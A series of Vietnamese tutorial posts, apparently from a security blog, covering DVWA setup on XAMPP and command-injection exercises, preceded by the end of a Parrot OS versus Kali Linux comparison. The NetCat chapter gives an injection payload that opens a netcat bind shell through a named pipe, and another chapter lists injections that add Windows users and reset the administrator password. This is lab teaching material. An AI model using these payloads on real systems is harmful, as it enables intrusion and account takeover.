• Kali Desktop Variation (e17/KDE/Xfce)

Kali Linux

• Parrot Sec OS Full Edition
• Parrot Sec OS Lite Edition
• Parrot Sec OS Studio Edition
• Parrot Sec OS Air Edition

Như chúng ta thấy, Parrot có một số tính năng đa dạng với một bản phát hành tập trung vào kiểm tra thâm nhập không dây (AIR) và một bản được điều chỉnh để tạo nội dung đa phương tiện (studio). Ngoài ra, nó cũng có các bản phát hành có hỗ trợ đám mây và hỗ trợ cho các thiết bị IoT. Kali cung cấp phiên bản đầy đủ và nhẹ cơ bản cùng với các giao diện máy tính để bàn tùy chỉnh (e17 / KDE / Matter / LXDE). Kali cũng có hỗ trợ cho các thiết bị IoT và đám mây.

Hiệu năng

Khi chúng ta nói về hiệu suất, Kali có lẽ hơi chậm khi bạn chạy nó trên một hệ thống cấp thấp. Đôi khi đó là một cơn ác mộng khi bạn có một cuộc tấn công mạng đang diễn ra trong nền và bạn đang làm việc khác. Nhưng Parrot nó rất nhẹ và không bị lag nhiều. vì nó cũng chạy trên các hệ thống thông số kỹ thuật thấp.

Kết luận

Mình hy vọng bạn đã hiểu rõ về hệ điều hành bảo mật Parrot OS và Kali Linux. Chúng ta đã thảo luận khá nhiều về mọi thứ về cả hai hệ điều hành một cách chi tiết. Nhưng lựa chọn hệ điều hành dựa trên sở thích và sự lựa chọn của bạn, nếu bạn có hệ thống thông số kỹ thuật thấp, mình khuyên bạn nên sử dụng hệ điều hành Parrot OS.

DVWA - Chương 04: NetCat

Xin chào các bạn, trong bài viết hôm nay mình sẽ giới thiệu với các bạn về công cụ NetCat và kết nối với máy tính chứa ứng dụng DVWA trong Linux. Ngoài ra, chúng ta có thể lợi dụng NetCat để tiến hành sử dụng các câu lệnh trong Linux để thực thi thông qua NetCat.

---

Yêu cầu

Để chuẩn bị cho chương này, các bạn cần có những phần mềm sau:

• Máy tính chạy hệ điều hành Linux (khuyến khích sử dụng hệ điều hành Fedora). Ngoài ra, mình muốn các bạn tắt tường lửa trên hệ điều hành phòng trừ trường hợp không gửi được gói tin. Máy Fedora có địa chỉ IP: 192.168.112.138
• Phần mềm XAMPP tải ở đường link này: https://www.apachefriends.org/index.html
• Tải và cài đặt ứng dụng web DVWA tại đường link này: http://www.dvwa.co.uk/
• Trình duyệt web FireFox.
• Một máy dùng để tấn công (sử dụng Kali, Parrot, Arch,...) có IP: 192.168.112.175

Màn hình hệ điều hành Parrot

Màn hình hệ điều hành Fedora

Thực hành

Đầu tiên, chúng ta sẽ mở trình duyệt và gõ vào địa chỉ IP của máy Fedora theo liên kết như sau: "192.168.112.138/dvwa/" để vào trang đăng nhập của DVWA. Các bạn cần lưu ý kiểm tra xem Fedora đã tắt "firewall" chưa, nếu chưa thì các bạn nên tắt qua câu lệnh "systemctl stop firewalld.service" để có thể kết nối được.

Trang đăng nhập DVWA

Tiếp theo chúng ta đăng nhập theo tài khoản có Username là "admin" và Password là "password". Sau khi đăng nhập thành công, chọn tab có dòng chữ là "DVWA Security" và thiết lập xuống mức "Low".

Tab "DVWA Security"

Sau đó các bạn chọn tab "Command Execution" để thực thi câu lệnh sử dụng "Name Pipe" với công cụ NetCat. Các bạn sẽ gõ câu lệnh: "192.168.112.138 ; mkfifo /tmp/pipe ; sh /tmp/pipe | nc -l 1234 > /tmp/pipe". Câu lệnh này có thể giải thích như sau:

• mkfifo /tmp/pipe: câu lệnh này sẽ tạo ra một đường ống FIFO (First In - First Out) và đặt tên là "pipe".
• sh /tmp/pipe: câu lệnh này sẽ cho phép thực thi các "shell" thông qua đường ống "pipe".
• nc -l 1234 > /tmp/pipe: câu lệnh này yêu cầu công cụ NetCat lắng nghe "port" 1234 và cho phép dữ liệu ra vào thông qua đường ống "pipe".

Tab "Command Execution"

Khi đó, trang web sẽ luôn ở trạng thái "Loading" và chúng ta thông qua NetCat sẽ kết nối với đường ống "pipe" đó theo câu lệnh như sau: "nc 192.168.112.138 1234" để có thể thực hiện các lệnh "shell" tới máy Fedora. Chúng ta có thể thực hiện các câu lệnh cơ bản như sau: "hostname", "uname -a", "whoami" "dir",...

NetCat

---

Tóm tắt

Chúng ta đã được giới thiệu về cách khai thác lỗi "Command Execution" thông qua công cụ NetCat. Nó cho phép lắng nghe và kết nối với đường ống đã được tạo và tiến hành gửi các shell tới khai thác thông tin máy nạn nhân. Cám ơn các bạn đã xem bài viết này.

DVWA - Chương 03: Các câu lệnh kiểm tra cơ bản

Chúng ta sẽ bắt đầu học cách sử dụng những câu lệnh kiểm tra cơ bản trong DVWA. Để làm được điều này, các bạn cần phải có một chút kiến thức về các lệnh cơ bản trong hệ điều hành Windows cơ bản.

---

Yêu cầu

Để chuẩn bị cho chương này, các bạn cần có những phần mềm sau:

• Máy tính chạy hệ điều hành windows (phiên bản nào cũng được), nên dùng máy ảo để thiết lập. Ngoài ra, mình muốn các bạn tắt tường lửa trên hệ điều hành phòng trừ trường hợp không gửi được gói tin.
• Phần mềm XAMPP tải ở đường link này: https://www.apachefriends.org/index.html
• Tải và cài đặt ứng dụng web DVWA tại đường link này: http://www.dvwa.co.uk/
• Trình duyệt web Chrome phiên bản "portable": https://portableapps.com/apps/internet/google_chrome_portable

Cửa sổ Windows 8.1

Cấu hình

Đầu tiên chúng ta mở cơ sở dữ liệu của DVWA bằng cách mở trỉnh duyệt Chrome và gõ "localhost/phpmyadmin/":

Giao diện phpMyAdmin

Tiếp theo đó các bạn tạo cơ sở dữ liệu mới có tên là "dvwa". Sau đó bạn sẽ chọn "More" và nhấp vào lựa chọn "Priviliges" và nó sẽ hiện ra bảng các quyền truy cập tới cơ sở dữ liệu. Các bạn chọn "Add user account" và bạn điền vào ô tên tài khoản là "dvwa" với mật khẩu là "root". Các bạn có thể mở file "config" với đường dẫn như sau: "C:\xampp\htdocs\DVWA\config" và sửa thành file "config.inc.php" và mở file đó bằng Notepad. Tiếp theo chúng ta sẽ sửa trường "db_user" và "db_password" bằng tài khoản chúng ta đã tạo ở trên. Khi đó các bạn truy cập vào đường dẫn "localhost/dvwa/login.php" để truy cập vào trang đăng nhập của DVWA để đăng nhập.

Trang chủ của DVWA

Khi đó, bạn kéo thanh cuộn xuống và bạn nhấn chọn "Create Database" để tạo mới một cơ sở dữ liệu cho DVWA. Bạn sẽ tự động "Log Out" ra ngoài và bạn sẽ đăng nhập với "username" là "admin" và "password" là "password". Khi đăng nhập thành công, chúng ta xem menu và chọn phần "DVWA Security" và giảm mức độ bảo mật xuống "Low".

Trang Bảo mật của DVWA

Chúng ta vào phần "Command Injection" để bắt đầu thực hiện các câu lệnh kiểm tra trong DVWA. Trước khi thực hiện danh sách các câu lệnh dưới đây, các bạn cần lưu ý chạy phần mềm XAMPP bằng quyền "Administrator" để câu lệnh có thể thực hiện thành công:

1. [ip-address] && net user
2. [ip-address] && net user [username] [password] /add
3. [ip-address] && net user administrator passwd

Phần [ip-address] là địa chỉ ip bất kỳ máy nào nhưng nó phải là địa chỉ ip hợp lệ vì nếu chúng ta nhập địa chỉ giả, nó sẽ không thực hiện các câu lệnh phía sau nó. Lưu ý là địa chỉ ip này chỉ có tác dụng "ping" chứ ngoài ra không có bất kỳ tác dụng nào khác ảnh hưởng đến máy tính mang địa chỉ ip đó. Ở câu lệnh (1), lệnh "net user" dùng để hiển thị thông tin của máy tính chứa DVWA. Còn câu lệnh (2) dùng để tạo "username" và "password" của máy tính chứa DVWA, giống như "cmd" được tích hợp vào vậy. Do đó, bạn cũng có thể sử dụng câu lệnh (3) để đổi mật khẩu "administrator" nữa (chỉ trên máy tính chứa DVWA thôi).

Giao diện Command Injection

---

Tóm tắt

Chúng ta đã được tìm hiểu về các câu lệnh cơ bản để kiểm tra ứng dụng web DVWA. Ngoài ra, chúng ta còn thiết lập tạo cơ sở dữ liệu cho DVWA và kiểm tra chúng trên môi trường trang web DVWA một cách dễ dàng. Qua bài sau chúng ta sẽ tìm hiểu kỹ hơn về cơ chế gửi "payload" đến server và kiểm tra được các "session" trên máy chủ web DVWA.

DVWA - Chương 02: Cấu hình DVWA và XAMPP

Bài viết trước chúng ta đã được giới thiệu qua về ứng dụng web có lỗ hổng DVWA cùng với phần mềm quản lý cơ sở dữ liệu XAMPP. Ở bài viết này sẽ hướng dẫn các bạn cài đặt và cấu hình DVWA với database được cài đặt trên XAMPP.

---

Yêu cầu

Để chuẩn bị cho chương này, các bạn cần có những phần mềm sau:

• Máy tính chạy hệ điều hành windows (phiên bản nào cũng được), nên dùng máy ảo để thiết lập. Ngoài ra, mình muốn các bạn tắt tường lửa trên hệ điều hành phòng trừ trường hợp không gửi được gói tin.
• Phần mềm XAMPP tải ở đường link này: https://www.apachefriends.org/index.html
• Tải và cài đặt ứng dụng web DVWA tại đường link này: http://www.dvwa.co.uk/
• Trình duyệt web Chrome phiên bản "portable": https://portableapps.com/apps/internet/google_chrome_portable

DVWA , XAMPP và Chrome portable trên Windows 8.1

Cấu hình

XAMPP

Đầu tiên, chúng ta mở phần mềm XAMPP thì chúng ta sẽ thấy được giao diện của phần mềm XAMPP control panel. Sau đó chúng ta nhấn "Start" trong server Apache và server MySQL giống như hình dưới đây:

Giao diện phần mềm XAMPP

DVWA

Chúng ta đóng cửa sổ XAMPP lại và giải nén tệp "dvwa" trên màn hình và sao chép nó tại thư đường dẫn thư mục như sau: "C:\xampp\htdocs" và dán vào trong thư mục đó

Thư mục "htdocs" trong XAMPP

---

Tóm tắt

Chúng ta đã đi qua việc cài đặt và cấu hình ứng dụng web có sẵn lỗ hổng DVWA và cấu hình server trên XAMPP. Qua các bài sau, chúng ta sẽ bắt đầu thiết lập các lệnh cơ bản trong DVWA.

DVWA - Chương 01: Giới thiệu về DVWA

Chào các bạn, hôm nay mình sẽ giới thiệu về khóa học DVWA cho các bạn muốn bảo mật cho trang "web" của mình. Đầu tiên, DVWA là gì? DVWA (viết tắt là Damn Vulnerable Web App) là một ứng dụng "web" PHP / MySQL có sẵn các lổ hỗng bảo mật. Mục tiêu chính của nó là trợ giúp các chuyên gia bảo mật kiểm tra kỹ năng và công cụ của họ trong môi trường pháp lý, giúp các nhà phát triển web hiểu rõ hơn về các quy trình bảo mật ứng dụng web và trợ giúp cả sinh viên và giáo viên tìm hiểu về bảo mật ứng dụng web trong một môi trường đã được kiểm soát.

---

Mục tiêu là gì?

Mục tiêu khi học DVWA là thực hành một số lỗ hổng web phổ biến nhất, với các mức độ khó khác nhau, với một giao diện đơn giản trực quan. Các bạn lưu ý rằng, DVWA đã bao gổm cả lỗ hổng được liệt kê và không được liệt kê trong tài liệu. Hệ thống được tạo ra mục đích khuyến khích những bạn có đam mê về lĩnh vực "hacking" có thể kiểm thử và khám phá càng nhiều vấn đề bảo mật càng tốt.

Cảnh báo

DVWA có nghĩa là một ứng dụng web đã được tích hợp các lỗ hổng bảo mật có sẵn. Các bạn tuyệt đối không được tải nó lên thư mục html công cộng của nhà cung cấp dịch vụ lưu trữ của bạn hoặc bất kỳ máy chủ nào đang "public" với Internet, vì điều đó sẽ gây ảnh hưởng trẩm trọng đối với các doanh nghiệp đang kinh doanh các ứng dụng "web" và có thể bạn sẽ đối mặt với tòa án pháp lý. Bạn nên sử dụng máy ảo (chẳng hạn như VirtualBox hoặc VMware), được đặt thành chế độ mạng NAT. Bên trong máy khách, bạn có thể tải xuống và cài đặt XAMPP cho máy chủ web và cơ sở dữ liệu (chạy trên nền "localhost").

Cài đặt

Cách dễ nhất để cài đặt DVWA là tải xuống và cài đặt XAMPP nếu bạn chưa cài đặt máy chủ web. XAMPP là chương trình cho phép tạo máy chủ "web" được tích hợp sẵn Apache, PHP, MySQL, FTP Server, Mail Server và các công cụ như phpMyAdmin. XAMPP có trình quản lý khá tiện lợi, cho phép chủ động bật tắt hoặc khởi động lại các dịch vụ máy chủ bất kỳ lúc nào. Các bạn có thể tải xuống XAMPP từ link này. Ngoài ra, các bạn tải DVWA tại đây và giải nén ra dưới dạng thư mục "dvwa".

Giao diện phẩn mềm XAMPP

Giao diện phần mềm DVWA

---

Tóm tắt

Chúng ta đã được giới thiệu qua về ứng dụng "web" dùng để kiểm thử lỗ hổng bảo mật "web" nhằm nâng cao kiến thức về bảo mật. Ngoài ra chúng ta cũng nên có trách nhiệm cho việc sử dụng ứng dụng này cho mục đích tốt, không nên dùng cho những việc phi pháp. Qua những bài sau, mình sẽ trải qua các bài tập để củng cố kiến thức về bảo mật "web" nhé!!! Cám ơn các bạn đã xem bài viết.